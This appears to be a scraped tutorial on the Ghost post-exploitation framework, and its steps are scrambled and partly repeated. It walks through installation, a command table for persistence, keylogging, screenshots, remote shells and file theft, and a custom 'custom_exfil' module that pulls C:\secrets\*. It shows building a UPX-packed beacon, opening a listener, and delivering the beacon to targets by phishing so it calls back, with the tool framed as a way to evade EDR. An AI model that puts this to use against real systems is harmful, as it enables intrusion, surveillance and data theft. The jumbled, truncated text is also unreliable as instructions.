Ghost is perfect for CTFs, OSCP labs, and quick internal assessments where you don't want to trigger EDR with standard Metasploit patterns. Customizing from GitHub Source Since you have the repo, you can write your own modules. Ghost modules live in ghost/modules/ . The structure is dead simple:
git clone https://github.com/EntySec/Ghost.git Navigate into the directory:
ghost You should see the ASCII banner and a prompt: Ghost > ghost framework kali linux github
Install globally (recommended for Kali):
class GhostModule: def __init__(self): self.info = "Name": "custom_exfil", "Author": "you" def run(self, session, args): # Your post-ex logic here return session.download("C:\\secrets\\*") Ghost is perfect for CTFs, OSCP labs, and
| Command | What it does | |---------|---------------| | sysinfo | OS, hostname, architecture, uptime | | persist | Install startup persistence (Registry/Run key) | | keylog | Capture keystrokes from the target | | screenshot | Grab remote desktop (Windows GDI) | | shell | Drop into an interactive cmd.exe | | upload /local/path /remote/path | Exfil tools | | download C:\secret\data.txt | Steal files |
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ghost > build windows/x64 beacon.exe --upx ghost > listen http 0.0.0.0 8080 3. Deploy the agent Get beacon.exe onto your target (phishing, dropbox, or SMB share). When executed, it calls back to your Kali box. 4. Interact with the session Once a session checks in, list active sessions:
The primary workflow is: build -> deploy -> listen -> interact . 1. Create a payload (Windows example) ghost > build windows/x64 my_beacon.exe This generates a position-independent executable. Use UPX if you want smaller size: The structure is dead simple: git clone https://github
pip3 install -r requirements.txt If you get ModuleNotFoundError: No module named 'gnureadline' , run pip3 install gnureadline . Kali rolling often misses this. Step 3: Launching the Ghost Console Start the framework with:
Every penetration tester knows the drill: You find a vulnerable host, you pop a shell, and then... the real battle begins. Maintaining persistence, evading detection, and moving laterally often requires a toolbox of half-baked scripts.